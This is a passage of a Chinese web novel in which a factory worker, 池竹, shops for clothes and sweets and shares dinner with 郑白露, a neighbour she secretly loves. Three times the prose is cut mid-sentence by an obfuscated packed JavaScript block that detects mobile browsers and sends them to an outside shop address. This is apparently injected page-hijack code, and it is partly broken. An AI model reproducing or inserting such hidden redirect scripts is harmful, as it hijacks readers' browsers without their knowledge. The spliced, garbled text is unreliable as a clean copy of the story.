到时候她把这颗吃掉了,让池竹赔一玻璃罐的! - 池竹满心欢喜,回家池橙一脸稀奇:“姐姐,你路上捡钱了?” “哪有捡钱?”池竹正儿八经地教育妹妹,“而且捡钱我也不会那么高兴啊,橙子,路上要是真捡了钱一定要交到派出所去,别让失主焦心。” 池橙一听这话马上累了:“是啦是啦,姐姐,我在路上捡到棵草我都交派出所去。一根咱们的社会主义羊毛都不薅!” 池竹小惩大诫地拍拍妹妹的脑袋:“嘴贫的,吃饭!” 第二天她去上班,路过的工友都问她心情怎么那么好,蒋其华更是拽着她:“师姐,你一点不担心比武大会的事儿?咋这么高兴?” “我看起来那么高兴吗?”池竹摸摸自己的脸,觉得自己和往常一样啊! “就是一种感觉。”蒋其华说,“平时你都是那样,所以可能一高兴特别明显吧!” 怪不得今早和白露打招呼的时候,对方瞅着她,欲言又止! 池竹决心克制一下,把嘴唇抿得紧紧的,又问道:“现在呢?” 蒋其华被她逗乐了:“行了,问你比武大会的事呢!” 池竹这才又笑了:“兵来将挡水来土掩吧,担心也没用。” 就连进了车间,师傅侯春霞也奇道:“小竹今天那么高兴?” “有吗?”池竹明明进门前刚煞有介事地把脸板起来,不知道怎么又被看破了。 “这可难得。”侯春霞道,“遇上什么开心事了?还是周末的时候有安排?” 她算是和池竹距离最近的长辈之一了,学习名额那档子事没帮上徒弟,自觉内疚,反倒要池竹来安慰她。 今天一看池竹神清气爽,心里也开心不少,忍不住就要追问一下。 “没有。”池竹绷不住了,抿出那枚不标准的小梨涡来,把工具包放到自己的位置上,“就是这下了班想出去逛逛,好久没出去过了,就挺高兴的。” 她说了一,侯春霞马上想到二:“好啊,你们年轻人就该多出去玩玩!小橙子不小了,你别成天守着妹妹,也得有点自己的生活。” 池竹应了一声,专心地开始做今天的工作。 她这几天都不打算加班,别人以往给她派什么分外的工作,或是什么新图纸,她都抱着锻炼的心态几乎是来者不拒。但她要是有事,谁也别想绊住她的脚步。 夏天天黑得晚,她正好趁这个机会,下班之后到百货商场买两件新衣服去。 现在和前两年不一样,布票取消了,买衣服想买什么款式有钱就行。她之前常年穿工服,布票大多省下来给池橙买新衣服和裤子,其他家有心灵手巧的,用不要票的手绢都能缝起来给孩子当背心,她没那个技术,必须得紧着妹妹的穿衣。 她这几年基本没正经买过什么衣服,正好趁这次机会,多买两件。 号声一响,她把茶缸里剩的半缸温茶水一口气喝完,冲侯春霞挥了挥手:“师傅,我先走啦。” 她加紧脚步穿过走廊,财务科办公室的门依然是开了半掌宽的缝隙,她停了一停,往前没走几步,郑白露就在后头叫她:“今天走那么快干嘛?” 池竹不大想让白露知道自己是特地去买衣服的,这样显得自己太重视了,再加上自己喜欢白露,要让白露心里有负担就不好了。 她转过身,答非所问:“我看你们门怎么没关严呢。” 郑白露临下班前去了趟洗手间,回来特意没关严。是为了方便下班而已! 她也答非所问:“到底走那么快要去哪呢?” 池竹没吭声,黑眼仁闪闪的,一对浓密的长睫毛也是扑烁烁的。 这人根本不会撒谎!郑白露一眼就看得出来,更是逼问:“你要办坏事去啊?” 池竹没招,只得说:“我想去百货商场一趟。” 郑白露望了她两秒,嘴比脑子快:“你想去商场买衣服啊?” 池竹又不吭声了。 郑白露怕她害臊,主动说:“我也去,我也想买两件新衣服呢。” 池竹对这次见面这么用心,全是为了她,她也得投桃报李。 两人就这样推着车子一块去了百货商场,池竹完全没预料到这一出,倒是郑白露挺高兴:“现在不用票了,想买什么?” 池竹也说不清,她好久没这么正儿八经地买过衣服了,没什么头绪。 鸣城百货商场去年刚刚扩建,现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705315|189181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整整五层。她俩一路上去,服装成衣在四层。 刚一上去,琳琅满目的衣服就撞到了池竹眼睛里,说实话,即便是改建之前,她也很少来成衣这里,大多时候给妹妹买小孩衣服,或者扯了布请胡同里赚外快的大姨做。 郑白露倒是如鱼得水,她念完大专回来刚好赶上商场改建,样式变得又多又时髦,她还挺爱来这儿逛的,当即拉住池竹,把她拉到牛仔裤的区域。 以往衣服都是挂在柜台里面,改建之后,都在中间的铁架上展示,比以前方便挑选多了。 “你这么瘦,穿牛仔裤一定好看。”郑白露说,很认真地看了一圈,选了一条颜色最浅的牛仔裤出来,“进去试试看,天热了,颜色深的看着闷得慌,还得是浅一点的蓝色好。” 池竹乖乖地接过去,商场以前根本没有试衣间,自从改建了之后才有。不过面积狭小,又没有镜子,池竹也不知道自己穿上什么样子,她没穿过牛仔裤,穿好之后,有点局促地出来站定了。 郑白露眼前一亮,池竹平日里都穿宽松的工装长裤,一换上牛仔裤,两条腿是又细又直,她穿的无袖背心是贴身的,衬得肩膀宽,仪态好,漂亮的不得了。 “这条好看,就买这条!”她拍了板,知道池竹是做工人的,平日里穿连衣裙不习惯也不方便,不想池竹为了这件事特地花钱,就又拉池竹来看短袖衬衫和背心。 现在就连无袖背心也有许多款式,她问道:“池竹,你喜欢哪种?” 池竹挑出两件来,都是干净的白棉背心,样式简单,但也不像跨栏背心那么不正式,都是贴身的,一件还带着小小的高领,穿上肯定十分精神。 “有点素。”郑白露说,“买个稍微亮的吧。” 许多亮色之中,她挑了一件竹青色的的确良衬衣:“试试这件。” 如果说池竹穿背心显得精神,穿衬衣就显得更秀气了,一张俊俏的小脸斯斯文文的好看,一看就是长辈最喜欢的那种干净文雅的姑娘。 怪不得郑小芳同志在那儿一个劲地乱点鸳鸯谱呢。郑白露心想。池竹被她盯着看了一会儿,实在有点紧张,瞅瞅镜子里的自己,又瞅瞅旁边的白露,问道:“这件还行吗?” “你觉得呢?”郑白露把问题抛了回去。 池竹自然觉得还行,但白露比她时髦,她一时之间也不敢贸然下结论,犹犹豫豫地说:“我觉得还行吧……” 郑白露扑哧一声笑了:“行得很!” 她转过身:“你稍等我一会儿。” 刚才池竹换衣服的时候,她也看着了两件心仪的,一件最新进的牛仔裙,还有一件,她看刚才池竹选了一件半高领的无袖背心,也心念一动,想试试这种风格了。 郑白露取了衣服,轻车熟路地换好,凑到池竹旁边:“你看我这身行不行?” 她热乎乎的胳膊贴过来,池竹心跳一停,面前的镜子清清楚楚地把自己和郑白露两个人映了出来。 白露就靠在自己身边,心无旁骛地凑着她,让她看自己选好的新衣服,漂亮得简直像把她投进了一个最美的梦里。 她对我还是最真心的朋友。 池竹忽然很羞愧。 但是我对她,永永远远也回不去了。 15. 同事而已15 “想什么呢!”郑白露笑盈盈地拍了她肩膀一把,“把衣服换下来吧,选好了付钱去。” 两人把衣服换了下来,现在都是逐层缴费,用不着上下楼,在当层买了东西直接交钱。 往收银去的工夫,郑白露说:“那俩背心你付,你平时就要穿,衬衫和牛仔裤我付,你平时又不怎么穿这东西,为了见我朋友才这么正式,理应我付的,反正不用票。” 池竹顿时有点着急,她知道白露什么意思,无非是这衣服不便宜,她又有妹妹,想给她节省。 “我买了新的,不仅见你朋友要穿,平时也要穿的。”和郑白露说话,池竹也不拐弯抹角。 “白露,我有钱的,厂子给我的待遇你也知道,我每次还都存下一半来,一半已经够我和橙子过得很好了,我买衣服的时候也不多,钱很够,而且这次是你帮我,你的衣服也应该让我付才对。” 郑白露敏锐地捕捉到她话里的重点:“买衣服的时候也不多?怪不得你平时不怎么穿其他衣服呢。” 池竹没想到她来了一句这个,就听她又说:“你存一半,肯定是要给橙子上大学用吧?剩下的一半,不短了橙子的吃穿用度,你自己能剩多少?即使剩得多,对你而言,买新衣服肯定也不算在花销里面吧?” 郑白露越说,越有点愤愤不平:“你这个人,把妹妹照顾得好好的,根本没照顾好自己吧。” 池竹心里发热,知道是郑白露关心她,抿出笑容来,把胳膊伸过去让郑白露看:“我哪没照顾好自己?我一身肉呢。” “你那也好意思叫肉?”郑白露不为所动,“你什么时候长出火烧那一身肉再说吧!” 这池竹可有点不乐意了:“火烧不胖,火烧只是毛长。” “行了啊你!”郑白露说,“以前就是,胡同里谁不说火烧胖?就你溺爱,非要和人家争论,火烧不胖,火烧只是毛长显得胖。” 莫名其妙的,她突然想,池竹幸好喜欢女孩,要不然将来生了孩子,一定会把那个小孩也惯得太胖的。 她赶紧把这念头甩出脑海,接着说道:“我的工资才是花不完呢,吃住都在家里,根本没有花钱的地方。” “你要买衣服啊。”池竹理所应当地说,“还有其他很多东西,怎么会花不完呢?” 这个池竹傻得要命了!郑白露无语,她可不想扯来扯去最后搞得钱没付出去反倒让池竹坚持给自己花了。 “那咱们各付各的。”郑白露说,“这样,你上次给我那颗薄荷糖可做不了保证物,再给我买一玻璃罐,我送你个更时髦的东西,这下总可以了吧?” 这一次公平公正,池竹没法反驳,暗暗期待起白露要送自己的东西来。 郑白露带她下到了三层,这里卖布料,还卖一些帽子之类的装饰品。她把池竹拉到一个柜台边:“看!喜欢哪副?” 池竹一看,这居然是个卖□□镜的柜台! 销售员热情介绍,各个品牌说得头头是道。郑白露给她挑了一副镜片浅灰色的,让她戴上试试。 一戴上,池竹还有点不习惯,亮堂堂的光线被镜片一滤,登时柔和的暗下来。 郑白露在一旁细看,觉得怎么看都挑不出毛病来。镜片大,显得池竹脸特小,鼻梁很挺,唯独有一点遗憾,就是把池竹那双浓墨重彩的好眼睛给遮住了。 “喜欢吗?”郑白露把柜台上的小镜子凑过去,池竹挺新鲜的,自己还从没戴过这样的眼镜呢,更何况是白露给她挑的。她点了点头:“喜欢,真好看。” “那就这副了。”郑白露付了钱,理直气壮地让池竹拎着牛皮纸袋,下到一楼,终于到了买糖的时候。 池竹带着白露来到卖糖的柜台,糖票比布票取消得还早,当初她看到这桩新闻,还在想白露一定是最高兴的人。 丝光薄荷糖有玻璃罐装的,不过这时候郑白露不要一单罐了,她想了想,口舌生津:“这几种糖各来一两吧。” 池竹根本不在乎钱,她在乎的是:“买这么多,你要是成天吃的话对牙不好。” 郑白露长长的眼睫毛垂下来,她自然知道这件事的。黄油球糖放在办公室里,就是为了在家不吃,上班的时候那糖特意搁到她和何静敏中间,她强忍着,何姐不吃,她也不吃。 何静敏有时候三两天都不吃一粒,她就硬塞给何姐一粒,这样顺理成章的自己也能吃一粒。 这会儿光顾着美了,她仔细一想,买了这糖结果不能吃,岂不是干着急。 池竹最见不得她不大乐意的闷闷样子,当下念头一转:“不然这样,你想吃的时候得向我要,一周只能吃两次糖,一次只能吃一颗。” 郑白露啊了一声:“小时候我妈说的,你也记得太清楚了吧!” 那次郑小芳下定决心要管控她吃糖,把姐姐郑谷雨和池竹都拉来旁听她的批斗大会。不仅如此,还吓唬她吃糖吃多了,会吃出虫牙,虫子会在她牙齿里横冲直撞,痛得她死去活来,把她吓得呜呜直哭,虽然还是爱吃糖,但是已经彻底控制住了。 池竹转念又想,让白露来向自己要……会不会不太合适? 不过郑白露完全没在意这件事,挺高兴地说:“这办法不错,我还得去找你,还只能吃一颗,我要是懒得去,正好少吃一颗。” 她一锤定音:“这样,我把办公室的黄油球糖也给你,你给我管控起来。” 池竹见她高兴,自己也高兴,这下不用担心其他的,她把刚才郑白露指的丝光薄荷糖、留兰香薄荷糖、薄荷奶糖这三种各要了半两,余下的一两半,则要了咖啡糖、酒心糖和什锦软糖。 她想让郑白露多吃几种口味的。 糖块用蜡纸包起来,池竹提好牛皮绳,刚打算往外走,就听见郑白露问她:“池竹,你什么时候喜欢吃起糖来了?” 这个问题,池竹不知道怎么回答才好。 她以前很少吃糖,这点白露也知道。她一直不喜欢太甜的味道。 现在开始吃糖,大约是因为,吃糖能让她感受到很多幸福的事情,很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705316|189181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幸福的甜味。 能让她想到家里总是放在桌子上那个闪闪发亮的糖罐,她从来不吃,橙子一人独享。 能让她想到白露,想到总是爱把糖滚来滚去含在嘴里的白露,脸颊总是会被顶出一个可爱的弧度。 普通的糖还是太甜了,薄荷糖最好,还提神。 “提神。”最后她拣了这两个字来说,“又凉又甜,比风油精好多了。” 郑白露很赞同:“我也觉得,不管茶叶还是风油精都不如薄荷糖好。” 她又想了想:“工作这么辛苦吗?我看你好像有时候加班。” “不经常加班的。”池竹说,把牛皮袋放到自己的车筐里。 “怎么不经常加班?”郑白露道,“就跟上次那个新图纸一样,即使你觉得是锻炼,也没必要把自己搞得那么辛苦啊。” 她嘀嘀咕咕:“我看还是你天生性子软,即使现在和以前不一样了,也总是不想拒绝人家。” 池竹笑了,方才稍稍低落的心情很快又变得阳光明媚:“那你说该怎么办才好?” 郑白露一本正经地盯着她,深觉这件事已经不能从池竹本身下手了。这人就这个性格,活了二十年了,再怎么改也是改不了的了。 她叹了口气:“没什么好办法。” 夏夜的晚风凉丝丝的,两人推着自行车慢悠悠地沿着街边散步,郑白露说:“你自己是没辙了,等到结婚了,用你媳妇儿当借口吧。到时候谁让你加班,谁向你借钱,你一概说家里人不乐意就成了。” 她谈起这个话题的时候,平平静静的。池竹知道,她对自己一点异样的情愫都没有。 池竹慢慢地抿唇笑了:“也不能总拿家里人当借口,打铁还需自身硬,我要真有事,真累,不是十万火急的工作,不会同意加班的。” “词一套一套的。”郑白露说,“这叫生活智慧。等你结婚了就知道我说得对了。” “说得像你结婚了一样。”池竹说,“挺有经验似的。” 郑白露脸一下全红了:“没吃过猪肉还没见过猪跑啊,我这叫善于总结,善于发现。” 两人暂时都不说话了,墨蓝色的夜空很澄澈,今天月明星稀,月亮光晕明亮,一轮悬在空中。 郑白露用余光瞥了池竹一眼,发现她仰脸在看,自己也仰头一块看过去。 月亮有那么好看吗?她又偷偷瞧池竹,总觉得对方仿佛情绪没那么高了。 是因为自己刚才提到结婚的事情吗?她心一跳,池竹为了橙子不相亲,结婚还不知道是猴年马月的事情呢! 更何况……她喜欢自己,怎么会喜欢自己讲这些?而且池竹心思重,保不好觉得自己这是隐晦地拒绝她呢。 自己是真的要拒绝她不假,可是…… 郑白露恨自己嘴快。 池竹低下头,月光和灯光洒下来,把她俩的影子在街面上拉得长长的。 “池竹。”郑白露突然说,“刚才是我说得不对,拿朋友当借口也是可以的。” 16. 同事而已16 这话说完,郑白露欲盖弥彰地找补:“那朋友可不是指我啊,咱们俩只是同事而已!” 池竹转过脸来,对她展颜一笑:“很快就会变成朋友啦。” 等到那一天,她就安心了,也会安分的。 郑白露也对她嫣然一笑,很高兴:“给我的信要好好写哦,我都要一一验收的。” 她心里美滋滋的,到时候池竹要是知道自己每封信都给她写了回信,不得感动地哭鼻子? 两人就这么各怀心思,中间还在路边买了两塑料小筐的黄杏,慢吞吞地走到了家门口。 火烧是真改邪归正了,大约是在外面野的那两天过得一点也不好玩,它现在乖乖地回归了郑白露家房子旁边给它用纸箱子搭的那个小窝,一听着动静,喵喵的叫了两声。 “妈!”郑白露喊了一声,“我俩回来了!” “一猜就知道你出去逛悠了。”自家闺女时不时地就会晚回来一会儿,郑小芳也不着急,一出来看到池竹,立马喜笑颜开了,“你俩今天一块去的百货商场?买什么好东西了?” 郑白露才不提糖块:“我和池竹买衣服去了。” “行啊,打算周末到哪玩去?”郑小芳问,她由衷地高兴,不是为自己点的鸳鸯谱,纯粹是她想看到俩孩子关系好,想自己闺女多带着池竹出去玩玩,池竹不容易,成天地围着工作和妹妹转,她看了都心疼。 “赶紧进来的,一块吃饭。”她招呼道,“竹子,你去喊小橙子,趁你不在这会儿高兴着呢,猛看电视!” 池竹嗯了一声,把车子停好,拎着牛皮纸袋回去找自己妹妹。 果然,那只小橙子看电视看得津津有味,一听见动静,三步并两步蹿起来,为避免姐姐批评自己看电视,先声夺人:“姐!你买什么好东西回来啦?” 池竹把黄杏放到桌上:“去了一趟商场买了两件衣服,走,咱们去郑大妈家吃晚饭去。” 郑小芳热情邀请,她不好意思拒绝,明天正好放假,她打算买条鱼,再买两块豆腐送过去。 “好啊!”一听去大妈家吃晚饭,池橙兴高采烈,但仍然粘着池竹不放,“怎么,那糖不是给我吃的啊?” 池竹戳了戳池橙的眉头,笑道:“那是你白露姐姐的糖,家里的糖还没吃完呢,你想吃什么新味道的,改天姐姐再给你买去。” “白露姐的糖怎么让你拿着?”池橙不依不饶。 池竹向来对妹妹是有问必答的:“因为你白露姐要控制吃糖,就像你一样,所以家里的糖我管,你白露的姐的糖也交给我管。” 池橙一听“管”和“糖”这俩字放在一起,马上心有戚戚然,再也不问了,很听话地拉起了姐姐的手要去蹭饭了。 那边郑小芳一边忙忙碌碌的把灶上温着的菜往桌上端,一边说:“这多好啊,往后你就多带着小池竹出去玩玩,你成天玩来玩去的,就那些什么台球厅,溜冰场什么的,都带人家去去。别让竹子一天到晚地不是上班就是给妹妹做饭,成天地闷着了。” “妈,你觉得是不是对于池竹,那事一直还没过去?”郑白露听到这儿,赶紧凑过来低声问,“她状态还是不好吗?” “多大的事啊哪能说过去就过去?”郑小芳也压低了声音,“但是都快四年了,人总得往前看,也不是说还介怀着吧,就是那孩子本来性格就闷,就有点内向的,这事说没有影响不可能。” 郑白露抿着唇,刚要说什么,外头脚步声一响,她匆匆把话咽下去,迎到门口:“来啦。” 池竹冲她笑,那枚小虎牙和不标准的小梨涡照例是露了出来。小橙子按理来说长得比姐姐更可爱,眼睛更圆,可小虎牙和梨涡一个也没遗传到。郑白露怎么看,都觉得反而是这个姐姐有种奇奇怪怪的可爱。 不是她非用奇奇怪怪形容的,是她发现好像就她觉得池竹可爱。 上次在办公室和何静敏聊天,她和何姐都不算喜欢八卦的,不过难免聊到相关话题。 何静敏说到池竹其实挺受欢迎的,不过条件特殊,拒绝了几次之后大家就明白了,更何况恋爱和结婚是两码事,个人条件再好,家里就一个还在上小学的妹妹,想要找到安定的对象,怕是很难找到完全合适的。 她说大家不得相互喜欢才是最重要的?有些人挑三拣四,自己不见得自己什么条件呢先挑剔起人家了,池竹这种条件就是给人心疼的,嫌弃带个拖油瓶的这心怎么那么讨人厌呢? 何静敏忍不住笑,深深地瞧了她一眼。 她最怕何静敏这么瞧她,因为何姐心思细腻,这么瞧人的时候,总是一副洞察一切的样子。 她赶紧转了话题,说池竹那么可爱,新政策出来不知道受不受女孩子欢迎,和女孩子一块也挺好的。 这下倒是何静敏有点惊讶,说可爱,池竹明明是挺漂亮的吧?性格这么严肃,可爱吗? 不可爱吗?她这会儿面对面地看着池竹,真的很疑惑,这小虎牙,这梨涡,不可爱吗? 池竹被她莫名其妙地盯住了,强忍着脸红,主动说:“我来洗点杏吧。” “我洗就行!”郑小芳端着塑料筐,池竹跨步走过去,硬从她手里接过来,到院子里洗去了。 池橙很有礼貌地向她们打招呼:“大妈!白露姐!” 郑白露揉揉她的脑袋:“来,先坐下。” 新洗好的杏子装在盘子里,黄澄澄的,几个人都在餐桌上坐下了,郑小芳别提多高兴了。她爱热闹,大女儿谷雨去了美国之后,总觉得冷冷清清的,这一下多了俩姑娘,桌子也坐得满了,菜也剩不下了,多好! “往后你俩周六日都在大妈这儿吃吧,反正要做饭的。”郑小芳要拍板,“就我和白露俩人,做多了吃不了,做少了吃不够的,你俩过来刚刚好了!” 池竹一张嘴郑白露就知道她要说什么:“妈,人家池竹和橙子怎么好意思?往后周日要做什么,东西都让池竹买,这样大家都没意见了吧?” 这下这好意是不得不接受了,池竹道:“正好,到时候我再买点水果,桃子桑葚的,大家一块吃。” 郑白露坐她对面,本来听见这话要瞪她的,想起妈妈刚才的话,不舍得瞪了,总之是看了她一眼。 咱们什么关系,即便现在……同事而已,可那是从小到大的邻居,青梅竹马的,我们家的便宜你都不占!一分一厘都计较得这么清楚干嘛呀! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705317|189181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她知道池竹的性格,也知道池竹越是对重视的人,反而越这样,可心里还是不大乐意。 四个人一块,把饭菜都吃得干干净净,一点也没剩下。池竹去帮忙洗碗筷,郑白露和池橙坐在椅子上啃杏。这次的黄杏甜,汁水饱满,白露吃了两个,正好池竹出来,她递过去一个:“尝尝。” 火烧喵喵的钻进来,郑小芳给过它猫饭了,不过这只聪明小猫馋得很,一有机会就撒娇要食。 “给你个杏。”郑白露拍了拍它的屁股,“走,出去吃。” 池竹什么都没想,情不自禁地跟着郑白露走了出去。 郑白露蹲在地上,那头浓密的长发缎子一样,在月光下微微闪动。 从来都是这么好的头发,白露小时候玩闹的时候,也不喜欢别人动她的头发。明明和大家一样都用的是洗发粉,偏偏又黑又亮,一点也不干涩。 郑白露曾经对她说想用葵花牌的洗发膏,带香气,可惜听人家讲,洗完头发不舒服。现在发展得快了,洗护合一的洗发水,都能带着好闻的花香气。 她身上的香水到底是什么花香味呢? 池竹又想,百思不得其解,这个问题萦绕在她心头,她总想知道。 火烧舔着她掌心,郑白露痒地笑起来,叫她的名字:“池竹。” “怎么了?”池竹问道。 “拿着杏呢吗?”郑白露说,“过来再喂火烧一个。” 池竹蹲下来,手里的杏还没吃,她小心地伸过去,火烧马上啃了一口下来。 “这是我给你那个吧。”郑白露道,她的声音一软下来,总有些撒娇的味道,“你看,你不吃的话,就便宜了这头火烧吧!怎么那么馋呢?” 她又拍了一把火烧的屁股:“你都这么胖啦,不减肥,还总是吃!” 池竹必须得为这只长毛彩狸花辩解:“火烧只是毛长显得胖。其实不如胡同西头那只白猫胖。” “你拿火烧跟胡同里最胖的猫比呀?”郑白露道,她扶住池竹掌心那颗杏,好让火烧更方便地咬。 贴过来的手心带着一股热乎乎的温度,郑白露的肩膀靠着她,头发和身上都随着夜风顺过来一股淡淡的香味。 池竹心里一悸,竟然想,郑白露真没警惕心。 自己可是喜欢她诶。 这么没警惕心,将来万一被别人骗走了可怎么办? 事实证明,她旁边这个女人还能更没警惕心一点。 郑白露蹲累了,大剌剌地往她身上一靠,小怒道:“你这头火烧怎么还没吃完呢?” 她毫无戒心地靠着池竹,全身重量往她身上压,这个姿势不大好用力,池竹浑身冒汗,想要揽着她的腰扶住她,又觉得太不合适,硬是用这个摇摇欲坠的姿势撑着郑白露的重量。 火烧终于吃完了,开开心心地一扑,小炸弹一样扑进了郑白露的怀里。 这一下连锁反应,郑白露都没叫,池竹先惊叫了一声,被这头扑进郑白露怀里的火烧一头撞到了地上。 郑白露搂着火烧栽到人家的怀里,额头结结实实地磕在了池竹的锁骨上,这下勃然大怒: “你这头胖火烧!哪里是毛长,明明就是胖!” 17. 同事而已17 天光透过窗帘映进来,照得满室亮堂堂的。大杂院都是这样,一般最多两间屋子,一间厨房。以前和妈妈和爸爸住一间大的,见缝插针地安上大柜子和书桌做书房,她和妹妹就住那间小的。 现在她们不在了,妹妹也长大了,需要有隐私,得单独住一间。 池竹不大想搬进去空出的那间住,索性就整个正儿八经地当了书房,床撤出去,再搬进一个大柜子里放东西,把整个家归置的利利索索。 她自己在外间住一张小床,床前面就是门和窗户,每天都是被阳光叫醒的,她还挺喜欢。 锁骨早不疼了,她还是下意识伸手摸了摸,她总控制不住地要回想那天晚上白露一头撞进了她怀里,就说白露是真没警惕心了,怎么能对一个爱慕她的人这样呢? 还是政策出来得太晚了。池竹心想,要是早早就出来,白露知道利害,肯定不对她像做朋友时候那么亲密了。 她忍不住笑了一下,旋即又有点伤心。白露不知道利害,她又不是不知道,等做了朋友,要和白露说清。 既然知道她喜欢她,就不能像以前一样没有顾忌了。往后就是这样的,哪怕是同个性别的人做朋友,也不能亲密得太过,往后这肯定会变成大势所趋的。 池竹自顾自地想了一会儿,自从和白露发生了这些事,她总感觉不仅一颗心,仿佛身上都具象化的松快了一些。 夏天天亮得早,离上班时间还早得很。她闭上眼,舒舒服服地呼出一口气,起身换衣服,敲门叫池橙,然后到院子里洗漱,这套流程已经是熟练极了。 院子里水池的龙头开着,郑白露弯着腰,浓密的长发撒在肩上,正哗啦哗啦地洗脸。 池竹前脚刚在床上想,即便往后正式做回了朋友也要保持合适距离,后脚过去,简直是习惯性的,伸手就把白露肩上的毛巾拿在了手里。 郑白露洗好,面颊湿淋淋地从她手上接过毛巾,不忘提醒她:“今天周五,记得把信给我,要不然下班我可不带你去了。” “我记着呢。”池竹说,她洗漱好,第一时间拿着信过去,郑白露不想让自己妈妈看到生了误会,就在门口等着她。 池竹远远地就看到她那张漂亮的小脸,在太阳底下直发光。方才散着的头发这会儿用一条宝蓝色的的确良头巾扎了起来,极明丽的蓝色,上面带着花朵的纹样。 郑白露接了信,小心地放进包里,抿出一个甜丝丝的微笑来,池竹穿着工服裤子,上面依然是一件无袖背心,头发和她一样低低地扎起来,不过不像她一样用头巾,只用皮筋,看着精神极了。 做工人就是这点辛苦,什么零碎的东西都不能带,池竹又是这种性格,连头发上的装饰品也从来没有。 两人都鬼使神差的,明明没什么话好说,却也都没动。突然院里帘子一响,是池橙出来洗漱了。 池竹就冲郑白露点了点头:“我先过去了,咱们晚上见。” 郑白露嗯了一声,那双水汪汪的杏核眼瞧着她,像是漫不经心,又像是挺郑重的。 池竹的心猛地一跳,似乎还能闻到她身上那股略带苦味的香水味和乳霜的甜香味。 有那么一刹那,池竹真的不知道,她曾经想的和白露做回朋友自己就安分了,到底是一种确定的决心,还是欺骗自己的天方夜谭。 她怎么安分得了呢?白露一天不谈恋爱,一天和她这样朝夕相处,她一天闻得到她身上和头发上的香气,她就一天也安分不了。 池竹脑海里一阵天人交战,池橙洗完脸,无忧无虑地和她一起回屋去,全然不知姐姐已经深陷在大人的烦恼里无法自拔了。 今天周五,许多年轻工友都在聊下班后和周末的安排,池竹往常对这些是一点不感兴趣的,这会儿却竖起耳朵仔细听。 之前白露说六点在院子里见,顺便去外面吃点东西,那吃什么好呢?她是一定要请客的。 她入神地听了一会儿,灵光一闪,还有哪能比“安德利”西菜馆更合适呢?这是她们鸣城唯一的西菜馆,距离机械厂和百货商场都近,服务员穿白衬衣打黑领结,牛扒做得特别好吃。 年轻人想一块去的高档餐馆绝对非这家莫属了。唯一就是……据说每张桌子的花瓶上,都会插一枝塑料做的玫瑰,这完全是约会的地方…… 池竹既想请白露一顿好的,又不想让她误会,一时之间,真是纠结得不得了。 她下班的时候还在想这件事,几乎是有点魂不守舍。 郑白露准时从门缝里看到了她的身影,明明大家都是穿一样的工服,郑白露却总能精准地认出池竹来。 她拎起包,飞速地打开门出来,在池竹身后拍了一下她的肩膀:“想什么呢?” “白露?”池竹吓了一跳,郑白露就见不得她魂都飞了的样子,一遇到这种情况,她就非要知道池竹到底背着她想什么呢:“你想什么呢?” 池竹撒谎又骗不过她,最后老老实实地说:“我想咱们晚上去哪吃饭呢。” 郑白露扑哧一声笑了,在她看来这根本就不是值得考虑的事情:“想吃什么吃什么呗!你想吃什么?” “我都可以。”池竹说,“我想请你吃饭呢。” “你想请我去哪吃饭呀?”郑白露这下来劲了,凑到她身旁,“说来听听。” 池竹又只好老老实实地说:“嗯……我想,去安德利好不好?” 郑白露自然知道池竹是想请她去好的地方,可安德利,大部分都是约会的人才去,池竹又喜欢自己…… 她难得有点害臊,又不想拒绝,以免池竹误会自己是嫌弃她,更何况谁说朋友不能去安德利了?还有一个人去安德利改善生活的呢!同事也能去,大家都能去! “行啊。”她说,“先回家换衣服吧,别穿着工服。” 两人一路骑车回去,池橙本来要看电视,被池竹先撵进书房写作业了。她对这个妹妹的德性清楚得很,自己今天晚上肯定要晚回来了,到那时候,山中无老虎猴子称霸王,这个小橙子绝对要把电视给看冒烟! 她先换上白露给她选的那条牛仔裤,腰带就用自己平时工服用的那条棕色人造革细腰带。她知道现在流行宽腰带,带着金光闪闪的大扣才叫漂亮。不过她不懂什么时髦,也不去跳舞,一条细腰带足矣。 郑白露进了家门,一看到正在择菜的郑小芳同志,马上想起自己有个事忘了和池竹说了。 她早早地就和妈妈说了,今天晚上她和池竹出去,顺道在外面吃饭,让她和池橙一块吃。本来想今天早上就和池竹说的,结果信一拿到手,不知道怎么居然全忘了。 她三下五除二地换好衣服,穿上那条新买的牛仔裙和无袖背心,重新把头发扎了扎,一秒也不耽搁,急忙要去和池竹说。 池竹动作快,要是晚了,她保不好已经出去给橙子买饭去了。 郑白露进了池家的院子,房门关着,她想也不想直接打开了。 炽烈的阳光射进来,把池竹光裸的脊背涂上一层浅浅的蜜色,她 